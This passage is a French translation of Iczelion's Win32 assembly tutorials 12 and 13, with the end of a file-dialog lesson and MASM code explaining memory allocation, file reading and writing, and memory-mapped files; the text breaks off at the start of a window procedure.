mov ofn.Flags, OFN_FILEMUSTEXIST or \
OFN_PATHMUSTEXIST or OFN_LONGNAMES or\
OFN_EXPLORER or OFN_HIDEREADONLY

Flags indique les caractéristiques de la boîte de dialogue.
Les 'flags' (les drapeaux) OFN_FILEMUSTEXIST et OFN_PATHMUSTEXIST exigent que le nom du fichier et le chemin que l'utilisateur tape dans la zone d'édition DOIVENT exister.
le 'flag' OFN_LONGNAMES dit à la boîte de dialogue de montrer des noms de fichier longs. (et non pas des trucs du genre 'nomtropl~1.exe')
Le flag OFN_EXPLORER indique que l'apparition de la boîte de dialogue doit être semblable à celle de l'Explorer Windows.
Le flag OFN_HIDEREADONLY cache la 'case à cocher : read-only ' de la boîte de dialogue.
Il y a beaucoup encore d'autres flags que vous pouvez employer. Consultez votre référence Win32 API.

mov ofn.lpstrTitle, OFFSET OurTitle

C'est le titre de la boîte de dialogue qui sert à ouvrir des fichiers.

invoke GetOpenFileName, ADDR ofn

Appelle la fonction GetOpenFileName. Il passage le pointer à la structure 'ofn' en tant que son paramètre.
À partir d'ici, la boîte de dialogue qui ouvre les fichiers, est affichée à l'écran. La fonction ne retournera pas avant que l'utilisateur ne choisisse un fichier pour l'ouvrir ou bien qu'il ne presse le bouton ANNULER ou FERMER de la boîte de dialogue.
Il renverra la valeur TRUE(VRAI) dans eax si l'utilisateur choisit un fichier pour l'ouvrir. Sinon, il retournera FALSE(FAUX).

.if eax==TRUE
invoke lstrcat,offset OutputString,OFFSET FullPathName
invoke lstrcat,offset OutputString,ofn.lpstrFile
invoke lstrcat,offset OutputString,offset CrLf
invoke lstrcat,offset OutputString,offset FullName

Dans le cas où l'utilisateur choisit un fichier pour l'ouvrir, nous préparons une chaîne de caractère pour qu'elle soit affichée dans une MessageBox. Nous réservons un bloc de mémoire dans la variable OutputString puis ensuite nous employons la fonction API, lstrcat, pour enchaîner ensembles les chaîne de caractères . Pour faire apparaître les chaînes sur plusieurs lignes, nous devons séparer chaque ligne avec un retour chariot.

mov eax,ofn.lpstrFile
push ebx
xor ebx,ebx
mov bx,ofn.nFileOffset
add eax,ebx
pop ebx
invoke lstrcat,offset OutputString,eax

Les susdites lignes exigent quelques explications. nFileOffset contient le n° dans l'ofn.lpstrFile (ce n° c'est son positionnement). Mais vous ne pouvez pas les ajouter ensemble directement puisque nFileOffset est une variable de TAILLE 'WORD' et lpstrFile est de TAILLE 'DWORD'. Il faut donc mettre la valeur de nFileOffset dans le mot bas (le mot de poids faible) de ebx et l'ajouter à la valeur de lpstrFile.

invoke MessageBox,hWnd,OFFSET OutputString,ADDR AppName,MB_OK

Nous affichons la chaîne de caractères dans la MessageBox (boîte de message).

invoke RtlZerolMemory,offset OutputString,OUTPUTSIZE

Nous devons *effacer* l'OutputString avant que nous ne puissions remplir une autre chaîne de caractères. Donc nous employons la fonction RtlZeroMemory pour faire le travail.

[Iczelion's Win32 Assembly HomePage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 12: Memory Management and File I/O

Tutorial 12 : Gestion de la Mémoire
Et des Fichiers d'entrée-sortie

Nous allons étudier de façon rudimentaire la gestion de la mémoire et les opérations les fichiers i/o (i/o=input/output=entrée sortie) dans ce Tutorial. En plus nous utiliserons des boîtes de dialogue communes en tant que dispositifs d'entrée-sortie.

Downloadez l'exemple ici.

Théorie:

La gestion de la mémoire sous Win32 du point de vue de l'application est très simple et directe. Chaque processus possède 4 GB d'espace d'adresse mémoire. Le modèle de mémoire employé, est appelé le modèle de mémoire 'FLAT'(plat). Dans ce modèle, tous les registres de segment pointent sur la même adresse de départ et l'offset est sur 32 bits. Ainsi, une application peut accéder à n'importe quel endroit de la mémoire dans son propre espace d'adresse sans avoir besoin de changer la valeur des registres. Ça simplifie beaucoup la gestion de la mémoire. Il n'y a plus de pointers ou registres "Near" ou "FAR" désormais (pointers proches ou lointains).
Sous Win16, il y a deux principales sortes de fonctions API de mémoire : Global et Local. Le type d'API Global peut utiliser des Call qui vont vers des parties de mémoire se trouvant dans d'autres segments. Ainsi ce type d'API Global sont des fonctions de mémoires "lointaines". Le type d'API Local utilise des Call qui traitent uniquement avec la partie locale où le processus en est . Donc ce sont des fonctions de mémoire "proches". Sous Win32, ces deux types sont identiques. Si vous appelez GlobalAlloc ou LocalAlloc, vous obtenez exactement le même résultat.
Voici les étapes pour allouer et utiliser la mémoire :
  1. Réservez un bloc de mémoire en appelant GlobalAlloc. Cette fonction renvoie l'handle du bloc de mémoire demandé.
  2. "Lockez(Fermez)" le bloc de mémoire en appelant GlobalLock. Cette fonction reçoit l'handle du bloc de mémoire et renvoie le pointer du bloc de mémoire.
  3. Vous pouvez employer le pointer pour lire ou écrire dans cette mémoire.
  4. "Ouvrez" le bloc de mémoire en appelant GlobalUnlock. Cette fonction rend nul et sans effet le pointer du bloc de mémoire.
  5. Libérez le bloc de mémoire en appelant GlobalFree. Cette fonction reçoit l'handle du bloc de mémoire.
Vous pouvez aussi remplacer "Global" par "Local" comme LocalAlloc, LocalLock, etc.
Cette méthode sera davantage simplifiée plus loin en employant le flag 'GMEM_FIXED', dans l'appel de GlobalAlloc. Si vous utilisez ce flag, la valeur de retour de Global/LocalAlloc sera le pointer du bloc de mémoire alloué, et non pas l'Handle du bloque de mémoire. Vous ne devez pas appeler Global/LocalLock et vous pouvez passer le pointer à Global/LocalFree sans appeler Global/LocalUnlock d'abord. Mais dans ce Tutorial, j'emploierai l'approche "traditionnelle".

Les fichiers d'entrée-sortie sous Win32 ressemblent étonnement à ceux sous DOS. Les étapes nécessaires sont les mêmes. Vous avez seulement besoin de changer les appels aux API et c'est fait. Les étapes exigées sont les suivantes :

  1. Ouvrez ou créez le fichier en appelant la fonction CreateFile. Cette fonction est bourrée de ressources : en plus des fichiers, elle est capable d'ouvrir des ports de communication, des lecteurs de disques ou le clavier. En cas de succès (quand tout ce passe bien), il renvoie l'handle du fichier ou celui du dispositif. Vous pouvez alors employer cet handle pour exécuter des opérations sur le fichier ou le dispositif.

    2. Déplacez le fichier pointer(sélectionné) à l'emplacement désiré en appelant SetFilePointer.
  2. Exécutez, lisez ou écrivez l'opération en appelant ReadFile ou WriteFile. Ces fonctions transfèrent des données d'un bloc de mémoire un fichier. Donc vous devez allouer(réserver) un bloc de mémoire assez grande pour qu'il puisse contenir les données.
  3. Fermez le fichier en appelant CloseHandle. Cette fonction reçoit l'Handle du fichier.

Contenu:

Le programme inscrit ci-dessous, affiche une boîte de dialogue qui sert à ouvrir des fichiers. Il laisse l'utilisateur choisir un fichier texte quelconque pour l'ouvrir puis affiche le contenu de ce fichier dans une fenêtre d'édition à l'intérieur de son secteur client. L'utilisateur a la possibilité de modifier le texte dans la zone d'édition à sa guise puis ensuite il peut sauvegarder le contenu dans un fichier.

.386
.model flat,stdcall
option casemap:none
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib

.const
IDM_OPEN equ 1
IDM_SAVE equ 2
IDM_EXIT equ 3
MAXSIZE equ 260
MEMSIZE equ 65535

EditID equ 1 ; n° ID de la zone d'édition.

.data
ClassName db "Win32ASMEditClass",0
AppName db "Win32 ASM Edit",0
EditClass db "edit",0
MenuName db "FirstMenu",0
ofn OPENFILENAME <>
FilterString db "All Files",0,"*.*",0
db "Text Files",0,"*.txt",0,0
buffer db MAXSIZE dup(0)

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hwndEdit HWND ? ; L'Handle de la zone d'édition.
hFile HANDLE ? ; Handle du fichier.
hMemory HANDLE ? ;Handle du bloc de mémoire réservé.
pMemory DWORD ? ;Pointer du bloc de mémoire réservé
SizeReadWrite DWORD ? ; Nombre d'octets lu ou écrit réalité. (dans le bloque mémoire on peut très bien ne pas tout utiliser).

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:SDWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,OFFSET MenuName
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,300,200,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc uses ebx hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_CREATE
invoke CreateWindowEx,NULL,ADDR EditClass,NULL,\
WS_VISIBLE or WS_CHILD or ES_LEFT or ES_MULTILINE or\
ES_AUTOHSCROLL or ES_AUTOVSCROLL,0,\
0,0,0,hWnd,EditID,\
hInstance,NULL
mov hwndEdit,eax
invoke SetFocus,hwndEdit
;====================================================
; Initialisation des members de la structure OPENFILENAME
;====================================================
mov ofn.lStructSize,SIZEOF ofn
push hWnd
pop ofn.hWndOwner
push hInstance
pop ofn.hInstance
mov ofn.lpstrFilter, OFFSET FilterString
mov ofn.lpstrFile, OFFSET buffer
mov ofn.nMaxFile,MAXSIZE
.ELSEIF uMsg==WM_SIZE
mov eax,lParam
mov edx,eax
shr edx,16
and eax,0ffffh
invoke MoveWindow,hwndEdit,0,0,eax,edx,TRUE
.ELSEIF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.if lParam==0
.if ax==IDM_OPEN
mov ofn.Flags, OFN_FILEMUSTEXIST or \
OFN_PATHMUSTEXIST or OFN_LONGNAMES or\
OFN_EXPLORER or OFN_HIDEREADONLY
invoke GetOpenFileName, ADDR ofn
.if eax==TRUE
invoke CreateFile,ADDR buffer,\
GENERIC_READ or GENERIC_WRITE ,\
FILE_SHARE_READ or FILE_SHARE_WRITE,\
NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,\
NULL
mov hFile,eax
invoke GlobalAlloc,GMEM_MOVEABLE or GMEM_ZEROINIT,MEMSIZE
mov hMemory,eax
invoke GlobalLock,hMemory
mov pMemory,eax
invoke ReadFile,hFile,pMemory,MEMSIZE-1,ADDR SizeReadWrite,NULL
invoke SendMessage,hwndEdit,WM_SETTEXT,NULL,pMemory
invoke CloseHandle,hFile
invoke GlobalUnlock,pMemory
invoke GlobalFree,hMemory
.endif
invoke SetFocus,hwndEdit
.elseif ax==IDM_SAVE
mov ofn.Flags,OFN_LONGNAMES or\
OFN_EXPLORER or OFN_HIDEREADONLY
invoke GetSaveFileName, ADDR ofn
.if eax==TRUE
invoke CreateFile,ADDR buffer,\
GENERIC_READ or GENERIC_WRITE ,\
FILE_SHARE_READ or FILE_SHARE_WRITE,\
NULL,CREATE_NEW,FILE_ATTRIBUTE_ARCHIVE,\
NULL
mov hFile,eax
invoke GlobalAlloc,GMEM_MOVEABLE or GMEM_ZEROINIT,MEMSIZE
mov hMemory,eax
invoke GlobalLock,hMemory
mov pMemory,eax
invoke SendMessage,hwndEdit,WM_GETTEXT,MEMSIZE-1,pMemory
invoke WriteFile,hFile,pMemory,eax,ADDR SizeReadWrite,NULL
invoke CloseHandle,hFile
invoke GlobalUnlock,pMemory
invoke GlobalFree,hMemory
.endif
invoke SetFocus,hwndEdit
.else
invoke DestroyWindow, hWnd
.endif
.endif
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start

Analyse:

invoke CreateWindowEx,NULL,ADDR EditClass,NULL,\
WS_VISIBLE or WS_CHILD or ES_LEFT or ES_MULTILINE or\
ES_AUTOHSCROLL or ES_AUTOVSCROLL,0,\
0,0,0,hWnd,EditID,\
hInstance,NULL
mov hwndEdit,eax

Dans la section WM_CREATE, nous créons un contrôle d'édition (ou une zone d'édition, de saisie). Notez que les paramètres x, y, width, height qui sont les dimensions du contrôle sont tous mis à zéros puisque nous redéfinirons leurs tailles plus tard pour que son secteur client soit contenu en entier dans la fenêtre parente.
Remarquez que dans ce cas, nous ne devons pas appeler ShowWindow pour faire apparaître la zone d'édition à l'écran, parce que nous incluons le style WS_VISIBLE. Vous pouvez aussi utiliser ce tour de passe passe pour la fenêtre parente.

;=====================================================
; Initialisation des membres de la structure OPENFILENAME.
;=====================================================
mov ofn.lStructSize,SIZEOF ofn
push hWnd
pop ofn.hWndOwner
push hInstance
pop ofn.hInstance
mov ofn.lpstrFilter, OFFSET FilterString
mov ofn.lpstrFile, OFFSET buffer
mov ofn.nMaxFile,MAXSIZE

Après la création du contrôle d'édition, prenons le temps d'initialiser les membres d'ofn. Parce que nous souhaitons aussi réutiliser ofn pour la boîte de dialogue de sauvegarde, nous remplissons uniquement les membres *communs* employés par GetOpenFileName et GetSaveFileName.
La section WM_CREATE est un formidable endroit pour pouvoir faire vite fait l'initialisation.

.ELSEIF uMsg==WM_SIZE
mov eax,lParam
mov edx,eax
shr edx,16
and eax,0ffffh
invoke MoveWindow,hwndEdit,0,0,eax,edx,TRUE

Nous recevons des messages WM_SIZE lorsque la taille du secteur client de notre fenêtre principale change. Nous recevons aussi ce message quand la fenêtre est créée en premier. Pour pouvoir recevoir ce message, les styles de classe de fenêtre doivent inclure les styles CS_VREDRAW et CS_HREDRAW. Nous profitons de cette occasion pour redimensionner notre contrôle d'édition à la taille du le secteur client de notre fenêtre parentale. D'abord nous devons connaître la largeur actuelle et la hauteur du secteur client de la fenêtre parente. Nous obtenons ces renseignements de lParam. Le mot de poids fort d'lParam contient la hauteur alors que le mot de poids faible d'lParam contient la largeur du secteur client. Nous employons alors ces deux informations pour redimentionner la zone d'édition en appelant la fonction MoveWindow. En plus du changement de la taille de la fenêtre, nous pouvons aussi changer sa position.

.if ax==IDM_OPEN
mov ofn.Flags, OFN_FILEMUSTEXIST or \
OFN_PATHMUSTEXIST or OFN_LONGNAMES or\
OFN_EXPLORER or OFN_HIDEREADONLY
invoke GetOpenFileName, ADDR ofn

Quand l'utilisateur choisit le sous-menu File/Open, nous remplaçons les Flags de la structure ofn et appelons la fonction GetOpenFileName pour afficher la boîte de dialogue qui sert à ouvrir des fichiers.

.if eax==TRUE
invoke CreateFile,ADDR buffer,\
GENERIC_READ or GENERIC_WRITE ,\
FILE_SHARE_READ or FILE_SHARE_WRITE,\
NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,\
NULL
mov hFile,eax

Après que l'utilisateur ait choisit un fichier pour l'ouvrir, nous appelons CreateFile pour ouvrir ce fichier. Nous indiquons à cette fonction qu'elle doit essayer d'ouvrir le fichier pour le lire ou bien écrire dedans. Après que le fichier soit ouvert, la fonction renvoie l'handle de ce fichier que nous stockons dans une variable Globale pour une future utilisation. Cette fonction a la syntaxe suivante :

CreateFile proto lpFileName:DWORD,\
dwDesiredAccess:DWORD,\
dwShareMode:DWORD,\
lpSecurityAttributes:DWORD,\
dwCreationDistribution:DWORD\,
dwFlagsAndAttributes:DWORD\,
hTemplateFile:DWORD

dwDesiredAccess spécifie quelle est l'opération que vous voulez exécuter sur le fichier.

  • 0 Ouvre le fichier pour interroger ses attributs. Vous avez le droit de lire ou écrire les données.
  • GENERIC_READ Ouvre le fichier pour le lire.
  • GENERIC_WRITE Ouvre le fichier pour pouvoir écrire dedans.
dwShareMode indique quelle opération, sur le fichier ouvert, vous voulez permettre à d'autres processus d'effectuer.
  • 0 Empêche le partage du fichier avec d'autres processus.
  • FILE_SHARE_READ permet à d'autres processus de lire les données, du fichier qui est ouvert.
  • FILE_SHARE_WRITE permet à d'autres processus d'écrire des données dans le fichier qui est ouvert.
lpSecurityAttributes n'a aucune signification sous Windows 95.
dwCreationDistribution indique que l'action CreateFile s'exécutera, que le fichier indiqué dans lpFileName existe ou non.
  • CREATE_NEW Crée un nouveau fichier. La fonction échoue si le fichier indiqué existe déjà.
  • CREATE_ALWAYS Crée un nouveau fichier. La fonction recopie le fichier s'il existe.
  • OPEN_EXISTING Ouvre le fichier. La fonction échoue si le fichier n'existe pas.
  • OPEN_ALWAYS Ouvre le fichier, s'il existe. Si le fichier n'existe pas, la fonction crée le fichier comme si dwCreationDistribution était CREATE_NEW.
  • TRUNCATE_EXISTING Ouvre le fichier. Une fois ouvert, le fichier est tronqué(écourté) pour que sa taille finisse par des octets zéro (ex taille de 400 octets). Le processus d'appel doit ouvrir le fichier avec au moins l'accès GENERIC_WRITE. La fonction échoue si le fichier n'existe pas.
dwFlagsAndAttributes indique les attribus du fichier
  • FILE_ATTRIBUTE_ARCHIVE dit que le fichier est un fichier d'archives. Les applications emploient cet attribut pour marquer des fichiers pour des Backup(sauvegaurdes) ou des déplacements.
  • FILE_ATTRIBUTE_COMPRESSED indique que le fichier ou le dossier est comprimé. Pour un fichier, ça signifie que toutes les données dans le fichier sont comprimées. Pour un dossier, ça signifie que la compression est par défaut pour tous les fichiers et ses sous-répertoires nouvellement créés.
  • FILE_ATTRIBUTE_NORMAL indique que le fichier n'a aucun autre jeu d'attributs. Cet attribut est valable seulement s'il est employé seul.
  • FILE_ATTRIBUTE_HIDDEN indique que c'est un fichier caché. Il ne doit pas figurer dans une inscription de renseignements ordinaire.
  • FILE_ATTRIBUTE_READONLY le fichier ne peut être qu'uniquement lu. Les applications peuvent lire le fichier, mais ne peuvent pas y écrire ni le supprimer.
  • FILE_ATTRIBUTE_SYSTEM le fichier fait parti ou bien est exclusivement employé par le système d'exploitation. c'est donc un fichier 'system'.
invoke GlobalAlloc,GMEM_MOVEABLE or GMEM_ZEROINIT,MEMSIZE
mov hMemory,eax
invoke GlobalLock,hMemory
mov pMemory,eax

Quand le fichier est ouvert, nous allouons(réservons) un bloc de mémoire pour l'utiliser par les fonctions WriteFile ou ReadFile. Nous spécifions le flag GMEM_MOVEABLE pour que ce soit Windows qui s'occupe de déplacer le bloc de mémoire dans le but de consolider la mémoire (défragmentation locale). Le flag GMEM_ZEROINIT dit à GlobalAlloc de remplir le bloc de mémoire nouvellement réservé avec des zéros.
Quand les retours de GlobalAlloc sont menés avec succès, eax contiennent l'handle du bloc de mémoire alloué. Nous passons cet handle à la fonction GlobalLock qui renvoie ensuite le pointer au bloc de mémoire.

invoke ReadFile,hFile,pMemory,MEMSIZE-1,ADDR SizeReadWrite,NULL
invoke SendMessage,hwndEdit,WM_SETTEXT,NULL,pMemory

Quand le bloc de mémoire est prêt pour l'utilisation, nous appelons la fonction ReadFile pour lire les données du fichier. Quand un fichier est d'abord ouvert ou créé, le fichier n'est pas. Ainsi dans ce cas, nous commençons à lire le premier octet dans le fichier. Le premier paramètre de ReadFile est l'handle du fichier à lire, le deuxième est le pointer du bloc de mémoire qui content les données, ensuite c'est le nombre d'octets à lire dans le fichier, le quatrième paramètre est l'adresse de la variable (de taille DWORD) qui contiendra le nombre d'octets réellement lus dans le fichier.
Après que nous ayons remplis le bloc de mémoire des données, nous transvasons ces données vers le contrôle d'édition (la zone de saisie) en envoyant le message WM_SETTEXT au contrôle d'édition, avec lParam qui contient le pointer du bloc de mémoire. Après cet appel, le contrôle d'édition affiche les données dans son secteur client.

invoke CloseHandle,hFile
invoke GlobalUnlock,pMemory
invoke GlobalFree,hMemory
.endif

À ce point, nous n'avons aucun besoin de maintenir le fichier ouvert plus longtemps puisque notre but est d'écrire dans un autre fichier (que le fichier original)les données visibles dans contrôle d'édition. Donc nous fermons le fichier en appelant CloseHandle avec l'Handle du fichier comme son paramètre. Ensuite nous ouvrons le bloc de mémoire et le libérons. En réalité vous ne devez pas libérer la mémoire dès maintenant, vous pourrez réutiliser plus tard le bloc de mémoire pendant l'opération de sauvegarde. Mais dans le but de notre démonstration, je tiens à la libérer ici.

invoke SetFocus,hwndEdit

Quand la DialogBox (qui sert à ouvrir des fichiers) s'affiche à l'écran, le centre d'entrée passe de la fenêtre principale à la DialogBox en question pour que ce soit elle qui soit active. Ainsi quand on referme un fichier de la DialogBox (déjà ouvert), nous devons rendre le centre d'entrée à la zone de saisie (au contrôle d'édition), qui se trouve en arrière.
Ceci fini l'opération de lecture sur le fichier. À ce point, l'utilisateur peut écrire sur le contrôle d'édition. Et quand il veut sauvegarder les données dans un autre fichier, il doit choisir le sous-menu File/Save qui affiche une DialogBox pour les sauvegardes. La création de la boîte de dialogue de sauvegarde n'est pas très différente de la boîte de dialogue d'ouverture de fichiers. En fait, elles diffèrent seulement entre le nom des fonctions, GetOpenFileName et GetSaveFileName. Vous pouvez aussi réutiliser la plupart des membres de la structure ofn, sauf le membre Flag.

mov ofn.Flags,OFN_LONGNAMES or\
OFN_EXPLORER or OFN_HIDEREADONLY

Dans notre cas, nous voulons créer un nouveau fichier, donc OFN_FILEMUSTEXIST et OFN_PATHMUSTEXIST doivent être omis sinon la boîte de dialogue ne nous laissera pas créer un fichier qui n'existe pas déjà.
Le paramètre dwCreationDistribution de la fonction CreateFile doit être changé en CREATE_NEW puisque nous voulons créer un nouveau fichier.
Le reste du code est identique à celui dans la partie 'fichiers à ouvrir' sauf la chose suivante :

invoke SendMessage,hwndEdit,WM_GETTEXT,MEMSIZE-1,pMemory
invoke WriteFile,hFile,pMemory,eax,ADDR SizeReadWrite,NULL

Nous envoyons le message WM_GETTEXT au contrôle d'édition pour celui-ci recopier les données (le texte) qu'il contient dans le bloc de mémoire que nous avions alloués, la valeur de retour dans eax est la longueur des données à l'intérieur du buffer. Après que les données soient dans le bloc de mémoire, nous les écrivons dans un nouveau fichier.

[Iczelion's Win32 Assembly HomePage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 13: Memory Mapped Files

Tutorial 13 : Fichiers à Mémoire Configurée

Je vais vous montrer ce que sont les fichiers à mémoires configurées et comment les employer à votre avantage. L'utilisation d'un fichier à mémoire configurée est très facile comme vous le verrez dans ce Tutorial.

Downloadez l'exemple ici.

Théorie:

Si vous examinez l'exemple du Tutorial précédent, vous constaterez qu'il a un défaut sérieux : que se passe-t-il si la taille du fichier vous voulez lire est plus grande que le bloc de mémoire allouée ? Ou que la chaîne de caractère que vous voulez chercher est coupée en deux à la fin du bloc de mémoire ? La réponse traditionnelle pour la première question c'est que vous devez à plusieurs reprises lire dans les données du fichier avant que l'on ne rencontre la fin du fichier. La réponse à la deuxième question c'est que vous devez vous préparer à ce cas spécial de fin de bloc de mémoire. ça s'appelle un problème de valeur aux frontières. C'est un vrai casse tête pour les programmeurs car ça engendre des bogues (des défauts) innombrables.
il n'y aurait plus aucun problème si nous pouvions réserver un très grand bloc de mémoire, assez grand pour stocker le fichier en entier. Cependant notre programme s'accaparerait trop de ressources. Ce sont les (Files Mapping) configurations de fichiers qui vont nous sauver. Pour utiliser la configuration de fichier, vous pouvez vous imaginer que c'est un fichier entier, étant déjà chargé en mémoire et vous pouvez employer un pointer de mémoire pour lire ou écrire des données dans ce fichier. C'est aussi simple que cela. Nul besoin d'employer des fonctions API de mémoire et pas besoin de faire de différence entre les fonctions API de fichiers d'entrée et de sortie non plus, ce sont les mêmes dans la configuration de fichiers (Files Mapping). La configuration de fichier est aussi employée comme moyen de partage des données entre plusieurs processus (entre plusieurs programmes). En employant la configuration de fichiers de cette façon, il n'y aucun fichier réellement impliqué. C'est plutôt dans le bloc de mémoire réservé que chaque processus peut *lire ou écrire*. Mais le partage de ces données entre plusieurs processus est un point délicat, ça ne doit pas être traité à la légère. Vous devez exécuter ces processus par ordre (les uns après les autres) en les synchronisant, sinon vos applications planteront très vite.
Dans ce Tutorial, nous ne verrons pas le sujet de 'fichier configuré' (File Mapping) en tant que moyen pour créer une zone de mémoire partagée. Nous allons plutôt voir comment utiliser le 'File Mapping' comme moyen de "Mapper" (d'organiser à la carte) un fichier dans la mémoire. En fait, le 'PE Loader' emploie la configuration de fichier (File Mapping) pour charger des fichiers exécutables dans la mémoire. C'est très commode uniquement pour les parties du fichier nécessaires, qui doivent être sélectivement lues sur le disque. Sous Win32, vous devez employer le File Mapping autant que possible.
Il y a quelques limitations à la configuration de fichier, quoique. Une fois que vous créez un fichier à mémoire configurée, sa taille ne peut pas être changé pendant cette session. Donc le 'File Mapping' est important pour les fichiers 'Read-Only' (une des propriété d'un fichier) ou pour des opérations sur des fichiers qui ne doivent en aucun cas affecter la taille du fichier. Ça ne signifie pas que vous ne pouvez pas employer le File Mapping lorsque vous voulez augmenter la taille du fichier. Vous pouvez estimer sa nouvelle taille et prendre comme mémoire cette taille pour votre fichier configuré, ainsi le fichier s'agrandira à cette taille. C'est par vraiment pratique, c'est tous.
Assez pour l'explication. On va plonger dans l'exécution de configuration de fichier (File Mapping). Pour employer le (File Mapping), on doit suivre ces étapes :
  1. Appelez CreateFile pour ouvrir le fichier que vous voulez Mapper.
  2. Appelez CreateFileMapping avec l'Handle du fichier renvoyé par CreateFile comme un de ses paramètres. Cette fonction crée un objet 'File Mappinf' du fichier ouvert par CreateFile.
  3. Appelez MapViewOfFile pour Mapper une région du fichier choisie ou bien du fichier entier en mémoire. Cette fonction renvoie le pointer du premier octet de la zone où commence le fichier configuré (Mappé).
  4. Employez le pointer pour lire ou écrire dans le fichier.
  5. Appelez UnmapViewOfFile pour Unmapper le fichier.
  6. Appelez CloseHandle avec l'Handle du fichier configuré (l'Handle du File Mapping) comme paramètre pour fermer le fichier configuré.
  7. Appelez CloseHandle une fois de plus, mais cette fois-ci avec l'Handle renvoyé par CreateFile pour fermer le fichier réel.

Exemple:

Le programme ci-dessous vous laisse ouvrir un fichier grâce à une DialogBox. Il ouvre le fichier en employant le principe du 'File Mapping', si le fichier est ouvert avec succès, le titre de fenêtre principale est changé par nom du fichier qui vient d'être ouvert. Vous pouvez ensuite sauvegarder le fichier sous un autre nom par le biais du sous-menu File/save. Le programme recopiera le contenu total du fichier ouvert, vers un nouveau fichier. Notez que vous ne devez pas appeler GlobalAlloc pour réserver un bloc de mémoire dans ce programme.

.386
.model flat,stdcall
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib

.const
IDM_OPEN equ 1
IDM_SAVE equ 2
IDM_EXIT equ 3
MAXSIZE equ 260

.data
ClassName db "Win32ASMFileMappingClass",0
AppName db "Win32 ASM File Mapping Example",0
MenuName db "FirstMenu",0
ofn OPENFILENAME <>
FilterString db "All Files",0,"*.*",0
db "Text Files",0,"*.txt",0,0
buffer db MAXSIZE dup(0)
hMapFile HANDLE 0 ; Handle de la 'memory mapped file', doit être
; initialisé avec un 0 parce qu'on doit aussi l'utiliser comme
; un flag dans la section WM_DESTROY

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hFileRead HANDLE ? ; Handle du fichier source (fichier réel)
hFileWrite HANDLE ? ; Handle de la 'sortie' du fichier.
hMenu HANDLE ?
pMemory DWORD ? ; Pointer sur les données dans le fichier source.
SizeWritten DWORD ? ; Nombre d'octes actuellement écrit par WriteFile. (écrit dans la Box
; où on peut mettre du texte)

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,OFFSET MenuName
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,\
ADDR AppName, WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,300,200,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
